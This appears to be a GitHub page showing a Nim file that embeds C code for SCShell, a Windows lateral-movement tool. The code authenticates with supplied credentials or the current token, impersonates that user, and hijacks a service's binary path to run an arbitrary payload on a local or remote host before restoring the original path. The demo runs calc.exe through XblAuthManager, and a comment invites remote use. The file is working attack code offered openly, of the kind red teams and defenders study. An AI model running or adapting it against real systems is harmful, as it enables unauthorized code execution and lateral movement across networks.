-
Notifications
You must be signed in to change notification settings - Fork 352
/
scshell_c_embed_bin.nim
139 lines (119 loc) · 4.54 KB
/
scshell_c_embed_bin.nim
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
#[
Author: Marcello Salvati, Twitter: @byt3bl33d3r
License: BSD 3-Clause
References:
- https://github.com/Mr-Un1k0d3r/SCShell
]#
when not defined(c):
{.error: "Must be compiled in c mode"}
{.emit: """
// Author: Mr.Un1k0d3r RingZer0 Team
// slightly modified to use with Nim
#include <Windows.h>
#include <stdio.h>
#define LOGON32_LOGON_NEW_CREDENTIALS 9
int SCShell(char *targetHost, char *serviceName, char *payload, char *domain, char *username, char *password) {
LPQUERY_SERVICE_CONFIGA lpqsc = NULL;
DWORD dwLpqscSize = 0;
CHAR* originalBinaryPath = NULL;
BOOL bResult = FALSE;
printf("SCShell ***\n");
if(strcmp(targetHost,"local") == 0) {
targetHost = NULL;
printf("Target is local\n");
} else {
printf("Trying to connect to %s\n", targetHost);
}
HANDLE hToken = NULL;
if(strlen(username) != 0) {
printf("Username was provided attempting to call LogonUserA\n");
bResult = LogonUserA(username, domain, password, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, &hToken);
if(!bResult) {
printf("LogonUserA failed %ld\n", GetLastError());
ExitProcess(0);
}
} else {
printf("Using current process context for authentication. (Pass the hash)\n");
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) {
printf("OpenProcessToken failed %ld\n", GetLastError());
ExitProcess(0);
}
}
bResult = FALSE;
bResult = ImpersonateLoggedOnUser(hToken);
if(!bResult) {
printf("ImpersonateLoggedOnUser failed %ld\n", GetLastError());
ExitProcess(0);
}
SC_HANDLE schManager = OpenSCManagerA(targetHost, SERVICES_ACTIVE_DATABASE, SC_MANAGER_ALL_ACCESS);
if(schManager == NULL) {
printf("OpenSCManagerA failed %ld\n", GetLastError());
ExitProcess(0);
}
printf("SC_HANDLE Manager 0x%p\n", schManager);
printf("Opening %s\n", serviceName);
SC_HANDLE schService = OpenServiceA(schManager, serviceName, SERVICE_ALL_ACCESS);
if(schService == NULL) {
CloseServiceHandle(schManager);
printf("OpenServiceA failed %ld\n", GetLastError());
ExitProcess(0);
}
printf("SC_HANDLE Service 0x%p\n", schService);
DWORD dwSize = 0;
QueryServiceConfigA(schService, NULL, 0, &dwSize);
if(dwSize) {
// This part is not critical error will not stop the program
dwLpqscSize = dwSize;
printf("LPQUERY_SERVICE_CONFIGA need 0x%08x bytes\n", dwLpqscSize);
lpqsc = GlobalAlloc(GPTR, dwSize);
bResult = FALSE;
bResult = QueryServiceConfigA(schService, lpqsc, dwLpqscSize, &dwSize);
originalBinaryPath = lpqsc->lpBinaryPathName;
printf("Original service binary path \"%s\"\n", originalBinaryPath);
}
bResult = FALSE;
bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, payload, NULL, NULL, NULL, NULL, NULL, NULL);
if(!bResult) {
printf("ChangeServiceConfigA failed to update the service path. %ld\n", GetLastError());
ExitProcess(0);
}
printf("Service path was changed to \"%s\"\n", payload);
bResult = FALSE;
bResult = StartServiceA(schService, 0, NULL);
DWORD dwResult = GetLastError();
if(!bResult && dwResult != 1053) {
printf("StartServiceA failed to start the service. %ld\n", GetLastError());
} else {
printf("Service was started\n");
}
if(dwLpqscSize) {
bResult = FALSE;
bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, originalBinaryPath, NULL, NULL, NULL, NULL, NULL, NULL);
if(!bResult) {
printf("ChangeServiceConfigA failed to revert the service path. %ld\n", GetLastError());
ExitProcess(0);
}
printf("Service path was restored to \"%s\"\n", originalBinaryPath);
}
GlobalFree(lpqsc);
CloseHandle(hToken);
CloseServiceHandle(schManager);
CloseServiceHandle(schService);
return 1;
}
""".}
proc SCShell(targetHost: cstring, serviceName: cstring, payload: cstring, domain: cstring, username: cstring, password: cstring): int
{.importc: "SCShell", nodecl.}
when isMainModule:
echo "[*] Running SCShell"
echo ""
var result = SCShell(
"local",
"XblAuthManager",
r"C:\WINDOWS\system32\cmd.exe /C calc.exe",
"", # want to do it remotely? Change me!
"",
""
)
echo ""
echo "[*] Result: ", bool(result)